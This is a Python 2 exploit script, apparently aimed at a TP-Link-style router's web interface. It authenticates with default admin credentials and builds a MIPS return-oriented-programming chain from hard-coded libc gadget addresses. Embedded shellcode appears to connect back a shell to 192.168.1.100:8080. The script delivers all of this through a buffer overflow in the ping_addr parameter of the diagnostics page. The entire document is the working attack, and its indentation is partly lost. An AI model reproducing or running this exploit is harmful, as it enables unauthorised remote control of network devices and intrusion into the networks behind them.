import requests
import md5
import base64
import string
import struct
import socket
password = md5.new('admin').hexdigest()
cookie = base64.b64encode('admin:'+password)
print '[+] Authorization cookie: ', cookie
print '[+] Login to generate user directory...'
loginUrl = 'http://192.168.0.1/userRpm/LoginRpm.htm?Save=Save'
headers = {'cookie':'Authorization=Basic%20'+cookie.replace('=', '%3D')}
req = requests.get(loginUrl, headers=headers)
directory = ''
nop = "\x27\xE0\xFF\xFF"
shellcode = string.join([
"\x24\x0f\xff\xfa",
"\x01\xe0\x78\x27",
"\x21\xe4\xff\xfd",
"\x21\xe5\xff\xfd",
"\x28\x06\xff\xff",
"\x24\x02\x10\x57",
"\x01\x01\x01\x0c",
"\xaf\xa2\xff\xff",
"\x8f\xa4\xff\xff",
"\x34\x0f\xff\xfd",
"\x01\xe0\x78\x27",
"\xaf\xaf\xff\xe0",
"\x3c\x0e\x1f\x90",
"\x35\xce\x1f\x90",
"\xaf\xae\xff\xe4",
"\x3c\x0e\xc0\xA8"
"\x35\xce\x01\x64",
"\xaf\xae\xff\xe6",
"\x27\xa5\xff\xe2",
"\x24\x0c\xff\xef",
"\x01\x80\x30\x27",
"\x24\x02\x10\x4a",
"\x01\x01\x01\x0c",
"\x24\x0f\xff\xfd",
"\x01\xe0\x78\x27",
"\x8f\xa4\xff\xff",
"\x01\xe0\x28\x21",
"\x24\x02\x0f\xdf",
"\x01\x01\x01\x0c",
"\x24\x10\xff\xff",
"\x21\xef\xff\xff",
"\x15\xf0\xff\xfa",
"\x28\x06\xff\xff",
"\x3c\x0f\x2f\x2f",
"\x35\xef\x62\x69",
"\xaf\xaf\xff\xec",
"\x3c\x0e\x6e\x2f",
"\x35\xce\x73\x68",
"\xaf\xae\xff\xf0",
"\xaf\xa0\xff\xf4",
"\x27\xa4\xff\xec",
"\xaf\xa4\xff\xf8",
"\xaf\xa0\xff\xfc",
"\x27\xa5\xff\xf8",
"\x24\x02\x0f\xab",
"\x01\x01\x01\x0c"
], '')
libcBase= 0x77f53000
sleep = libcBase + 0x53CA0
gadget1 = libcBase + 0x00055c60
gadget2 = libcBase + 0x00024ecc
gadget3 = libcBase + 0x0001e20c
gadget4 = libcBase + 0x000195f4
gadget5 = libcBase + 0x000154d8
print "[+] First gadget address: ", hex(gadget1)
print "[+] Second gadget address: ", hex(gadget2)
print "[+] Third gadget address: ", hex(gadget3)
print "[+] Fourth gadget address: ", hex(gadget4)
print "[+] Fifth gadget address: ", hex(gadget4)
print "[+] Sleep function address: ", hex(sleep)
payload = "A"*160
s0 = "BBBB"
s1 = gadget2
payload += s0
payload += struct.pack('>I', s1)
payload += struct.pack('>I', gadget1)
payload += "E" * 20
payload += "FFFF"
payload += "GGGG"
payload += "HHHH"
payload += "AAAA"
payload += "CCCC"
payload += struct.pack('>I', sleep)
payload += struct.pack('>I', gadget3)
payload += "G" *24
payload += "A"* 4
payload += struct.pack('>I', gadget5)
payload += "C" *4
payload += struct.pack('>I', gadget4)
payload += nop * 32
payload += shellcode
if(req.status_code):
directory = req.text.split('=')[2].split('/')[3]
print '[+] Retrieved folder name: ', directory
req.close()
referer ='http://192.168.0.1/{0}/userRpm/DiagnosticRpm.htm'.format(directory)
host = '192.168.0.1'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "[*] Connected, sending payload {0} bytes...".format(len(payload))
pingUrl = '{1}/userRpm/PingIframeRpm.htm'.format(host,directory)
pingUrl += '?ping_addr='+payload+'&doType=ping&isNew=new&sendNum=4&psize=64&overTime=800&trHops=20'
auth = 'Authorization=Basic%20'+cookie.replace('=', '%3D')
pingReq = "GET /{0} HTTP/1.1\r\nHost: {1}\r\nReferer: {2}\r\ncookie: {3}\r\n\r\n".format(pingUrl, host, referer, auth)
print "[+] Exploit request: {0}".format(pingReq)
s.send(pingReq)
s.recv(4096)
s.close()
else:
req.close()